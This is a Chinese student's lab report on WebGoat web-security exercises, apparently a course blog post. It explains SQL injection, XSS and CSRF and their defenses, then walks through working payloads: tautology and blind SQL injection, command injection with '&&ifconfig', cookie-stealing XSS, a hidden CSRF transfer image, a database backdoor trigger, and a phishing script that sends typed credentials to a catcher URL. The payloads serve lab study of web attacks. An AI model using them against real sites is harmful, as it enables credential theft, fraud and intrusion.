20145232韩文浩 《网络对抗技术》 Web安全基础实践
问题回答
SQL注入攻击原理?如何防御?
原理:SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是SQL语法里的一些组合,通过执行SQL语句进而执行攻击者所要的操作,使非法数据侵入系统。
- 防御:
1.对用户的输入进行校验,可以通过正则表达式,双"-"进行转换等。
2.不要使用动态拼装sql,可以使用参数化的sql或者直接使用存储过程进行数据查询存取。
3.不要使用管理员权限的数据库连接,为每个应用使用单独的权限有限的数据库连接。
4.不要把机密信息直接存放,加密或者hash掉密码和敏感的信息。
5.应用的异常信息应该给出尽可能少的提示。
6.采取辅助软件或网站平台来检测sql注入。
XSS攻击的原理?如何防御?
原理:在Web页面里插入恶意Script代码,当用户浏览网页时,嵌入其中Web里面的Script代码会被执行,一个看似安全的网页却有可能盗取用户的cookies,或者登录名密码等信息。
- 防御:
1.特征匹配方式,在所有提交的信息中都进行匹配检查,一般会对“javascript”这个关键字进行检索,一旦发现提交信息中包含“javascript”,就认定为XSS攻击。
2.对所有用户提交内容进行可靠的输入验证,包括对URL、查询关键字、HTTP头、POST数据等,仅接受指定长度范围内、采用适当格式、采用所预期的字符的内容提交,对其他的一律过滤。
3.实现Session标记(session tokens)、CAPTCHA系统或者HTTP引用头检查,以防功能被第三方网站所执行。
CSRF攻击原理?如何防御?
原理:CSRF跨站请求伪造,也被称为“oneclickattack”或者sessionriding,通常缩写为CSRF或者XSRF,是一种对网站的恶意利用,通过伪装来自受信任用户的请求来利用受信任的网站。是一种依赖web浏览器的、被混淆过的代理人攻击。
- 防御:
1.在form中包含秘密信息、用户指定的代号作为cookie之外的验证。
2.“双提交”cookie。某个授权的cookie在form post之前正被JavaScript代码读取,那么限制跨域规则将被应用。服务器需要在Post请求体或者URL中包含授权cookie的请求,那么这个请求必须来自于受信任的域。
3.用户在浏览其它站点前登出站点或者在浏览器会话结束后清理浏览器的cookie。
WebGoat安装
- WebGoat简单版是个Java的Jar包,只需要有Java环境即可,我们在命令行里执行:
java -jar webgoat-container-7.0.1-war-exec.jar运行WebGoat - WebGoat使用8080端口,所以在浏览器上访问
localhost:8080/WebGoat,进入WebGoat
SQL字符串注入(String SQL Injection)
这是一个表单让使用者查询他的信用卡号,使用SQL注入让所有的信用卡号都看得见
现在要做的是让这个语句中的WHERE这个条件语句失效
a or 1 不管a是真或假最后输出都是1,只有构造这样一个永真式“1”,那么不管前面的WHERE是否成立都能够执行!
所以,可以构造语句'or 1='1,将输入进的语句变成两条语句,为永真。
第一个分号用来闭合last_name的第一个分号,而第二个分号用来闭合last_name的第二个分号。这样一条语句被强行拆分成为两条语句!
页面刷新了一下看不到效果了,如下图。

命令注入(Command Injection)
捕获到数据

send to Repeater,更改URL处为AccessControlMatrix.help"&&ifconfig"

盲数字注入(Blind Numeric SQL Injection)
目标是得到一个存放在pins表中值pin的内容,行号是一个int型的数据cc_number=1111222233334444,
先确定pin值的范围,输入语句
101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 100 );
有效的,说明pin值大于100

101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 5000 );
无效的,说明pin值小于5000

最后得到结果

反射型XSS(Reflected XSS Attacks)
用burpsuite可以发现,UpdateCart Purchase均以post提交数据,但在Enter your credit card number:以及Enter your three digit access code:处的值均被post原样返回,所以可以构造js语言
<SCRIPT>alert(document.cookie);</SCRIPT>
得到cookies

储存型XSS(Stored XSS Attakcs)
一个关于去除你曾经输入信息的练习。应该是要输入一个HTML标签在Message中。
相当于是给用户发一个信息,用户在打开这个信息时信息里的js代码被应用,然后得到用户cookies。


Cross Site Request Forgery(CSRF)
要写一个URL诱使其他用户点击,从而触发CSRF攻击事件。
本题中大致意思是要给别人发个邮件,其中有个包含XSRF页面恶意请求的图像,但是这个图像要隐藏。
根据题目要求我们伪装这样一条语句:
<img src="http://localhost:8080/WebGoat/attack?Screen=279&menu=900&transferFunds=6000"/>

CSRF Prompt By-Pass
这次邮件包含两个恶意请求:一个是转钱的金额,另一个是确认转账

点击20145232就完成了转账和转账确认!
Log Spoofing
在这里输入的用户名会被追加到日志文件中,在User Name文本框中输入lxm%0d%0aLogin Succeeded for username: admin使用户名为“admin”的用户在日志中显示“成功登录”

Database Backdoors
先输一个101,得到了该用户的信息

可以发现输入的语句没有验证,很容易进行SQL注入,输入注入语句:101; update employee set salary=10000,成功把该用户的工资涨到了10000:

创建一个后门,把表中所有的邮箱和用户ID都设为自己的:
101;CREATE TRIGGER HWHBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email='new@foxmail.com' WHERE userid = NEW.userid

Phishing with XSS
这个实验是构造一个登录页面,然后输入登录的用户名和密码后,可以将其获取。
<script>
function hack(){
XSSImage=new Image;
XSSImage.src="http://localhost:80/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
}
</script>
<form name="phish">
<br>
<br>
<HR>
<H2>This feature requires account login:</H2>
<br>
<br>Enter Username:<br>
<input type="text" name="user">
<br>Enter Password:<br>
<input type="password" name = "pass">
<br>
<input type="submit" name="login" value="login" onclick="hack()">
</form>
<br>
<br>
<HR>

20145232韩文浩 《网络对抗技术》 Web安全基础实践的更多相关文章
- 20145239杜文超《网络对抗》- Web安全基础实践
20145239杜文超<网络对抗>- Web安全基础实践 基础问题回答 (1)SQL注入攻击原理,如何防御? SQL注入攻击就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查 ...
- 20145308 《网络对抗》Web安全基础实践 学习总结
20145308 <网络对抗> Web安全基础实践 学习总结 实验内容 本实践的目标理解常用网络攻击技术的基本原理.Webgoat实践下相关实验. 基础问题回答 (1)SQL注入攻击原理, ...
- 20145326蔡馨熤《网络对抗》—— Web安全基础实践
20145326蔡馨熤<网络对抗>—— Web安全基础实践 1.实验后回答问题 (1)SQL注入攻击原理,如何防御. 原理: SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程 ...
- 20145216史婧瑶《网络对抗》Web安全基础实践
20145216史婧瑶<网络对抗>Web安全基础实践 实验问题回答 (1)SQL注入攻击原理,如何防御 攻击原理: SQL注入攻击指的是通过构建特殊的输入作为参数传入web应用程序,而这些 ...
- 20145227鄢曼君《网络对抗》Web安全基础实践
20145227鄢曼君<网络对抗>Web安全基础实践 实验后回答问题 1.SQL注入攻击原理,如何防御? SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是 ...
- 20145120黄玄曦《网络对抗》Web安全基础实践
20145120黄玄曦<网络对抗>Web安全基础实践 回答问题 (1)SQL注入攻击原理,如何防御 SQL注入原理简单地说大概是,通过构造特殊的SQL命令提交表单,让服务器执行构造的恶意S ...
- 20145217《网络对抗》 Web安全基础实践
20145217<网络对抗> Web安全基础实践 一.实践任务 本实践的目标理解常用网络攻击技术的基本原理.Webgoat实践下相关实验. 二.实验后回答问题 (1)SQL注入攻击原理,如 ...
- 20155326《网络对抗》Web安全基础实践
20155326<网络对抗>Web安全基础实践 实验后回答的问题 SQL注入攻击原理,如何防御? 原理:SQL注入攻击指的是在Web应用对后台数据库查询语句处理存在的安全漏洞,通过构建特殊 ...
- 20155206《网络对抗》Web安全基础实践
20155206<网络对抗>Web安全基础实践 实验后问题回答 (1)SQL注入攻击原理,如何防御 攻击原理:SQL注入攻击就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查 ...
- 20155211 网络对抗 Exp9 Web安全基础实践
20155211 网络对抗 Exp9 Web安全基础实践 基础问题回答 SQL注入攻击原理,如何防御? 原理:SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是SQL语 ...
随机推荐
- C语言典型编程1
关于C的一些小而精的编程,适合希望提升编程能力的初学者学习:关键编程也就几句,但思维可以迁移到其他编程语言.同一问题,算法多种 //阶乘运算(有多种编写方式,编程需要看懂,更要打出来)#include ...
- css的继承和层叠
标签(空格分隔): css css称为层叠样式表,CSS有两大特性:继承性和层叠性,本章简单介绍一下继承性: 继承性: 定义:继承就是给父及设置了一些属性,子级继承了父及的该属性,这就是我们的css的 ...
- pytorch之张量的理解
张量==容器 张量是现代机器学习的基础,他的核心是一个容器,多数情况下,它包含数字,因此可以将它看成一个数字的水桶. 张量有很多中形式,首先让我们来看最基本的形式.从0维到5维的形式 0维张量/标量: ...
- 关于逻辑回归是否线性?sigmoid
from :https://www.zhihu.com/question/29385169/answer/44177582 逻辑回归的模型引入了sigmoid函数映射,是非线性模型,但本质上又是一个线 ...
- poj2886(线段树求序列第k小)
题目链接:https://vjudge.net/problem/POJ-2886 题意:n个人围成一个圈,每个人有姓名s和权值val两个属性,第一轮序号为k的人退出,并根据其val指定下一个人,val ...
- 2019南昌网络赛-I(单调栈+线段树)
题目链接:https://nanti.jisuanke.com/t/38228 题意:定义一段区间的值为该区间的和×该区间的最小值,求给定数组的最大的区间值. 思路:比赛时还不会线段树,和队友在这题上 ...
- 爬虫学习--MOOC爬取豆瓣top250
scrapy框架 scrapy是一套基于Twisted的异步处理框架,是纯python实现的爬虫框架,用户只需要定制开发几个模块就可以轻松实现一个爬虫,用来抓取网页内容或者各种图片. scrapy E ...
- pytho命名规范
1变量小写 多个单词 下划线 2 常量 全大写 3
- 微信小程序的开发
https://www.cnblogs.com/jackson-zhangjiang/p/9843696.html
- Redis5种常用的数据结构
一.数据结构 五种常用的数据结构:string.hash.list.set.zse,以及三种不常用的:hyperloglog.geospatial.streams. 二.常用数据结构的使用 1.Str ...